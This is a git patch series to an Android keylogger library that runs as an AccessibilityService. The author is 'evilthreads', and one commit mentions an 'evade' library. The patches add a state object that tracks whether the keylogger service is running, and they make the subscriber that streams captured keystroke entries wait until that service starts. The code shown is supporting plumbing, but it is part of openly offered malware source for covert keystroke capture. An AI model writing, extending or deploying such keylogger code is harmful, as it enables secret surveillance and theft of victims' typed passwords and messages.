From fca25bd1558ff3241493627f1f4d875301820459 Mon Sep 17 00:00:00 2001 From: evilthreads Date: Wed, 30 Sep 2020 13:17:14 -0500 Subject: [PATCH 1/2] use evade library in demo --- .../evilthreads/keylogger/KeyloggerService.kt | 6 ++++++ .../evilthreads/keylogger/KeyloggerState.kt | 21 +++++++++++++++++++ 2 files changed, 27 insertions(+) create mode 100644 Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerState.kt diff --git a/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt b/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt index 5d5bf4d..3ed653d 100644 --- a/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt +++ b/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerService.kt @@ -64,6 +64,12 @@ class KeyloggerService: AccessibilityService() { } override fun onServiceConnected() { + KeyloggerState.enabled() super.onServiceConnected() } + + override fun onDestroy() { + KeyloggerState.disable() + super.onDestroy() + } } \ No newline at end of file diff --git a/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerState.kt b/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerState.kt new file mode 100644 index 0000000..ed2e266 --- /dev/null +++ b/Keylogger/src/main/java/com/evilthreads/keylogger/KeyloggerState.kt @@ -0,0 +1,21 @@ +package com.evilthreads.keylogger + +object KeyloggerState{ + private var state = State.DISABLED + + fun disable(){ + state = State.DISABLED + } + + fun enabled(){ + state = State.ENABLED + } + + fun isEnabled(): Boolean{ + return state == State.ENABLED + } +} + +enum class State{ + ENABLED, DISABLED +} \ No newline at end of file From cc5a44dcfeae95e60f03ca790ae8f56ddf60b233 Mon Sep 17 00:00:00 2001 From: evilthreads Date: Wed, 30 Sep 2020 13:17:58 -0500 Subject: [PATCH 2/2] make subscription wait until service is enabled --- .../src/main/java/com/evilthreads/keylogger/Keylogger.kt | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt b/Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt index 08e1b89..3e8ee03 100644 --- a/Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt +++ b/Keylogger/src/main/java/com/evilthreads/keylogger/Keylogger.kt @@ -16,6 +16,7 @@ package com.evilthreads.keylogger import android.content.Context import android.content.Intent import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.delay /* ( ( ) ( ( ( @@ -46,7 +47,11 @@ object Keylogger{ fun resetPatterns() = patterns.clear() + //working on turning KeyloggerState into a subject and doing this with an observer + //waits for keylogger to start then subscribes suspend fun subscribe(block: (KeyloggerEntry) -> Unit){ + while(!KeyloggerState.isEnabled()) + delay(500) for(entry in channel){ block(entry) }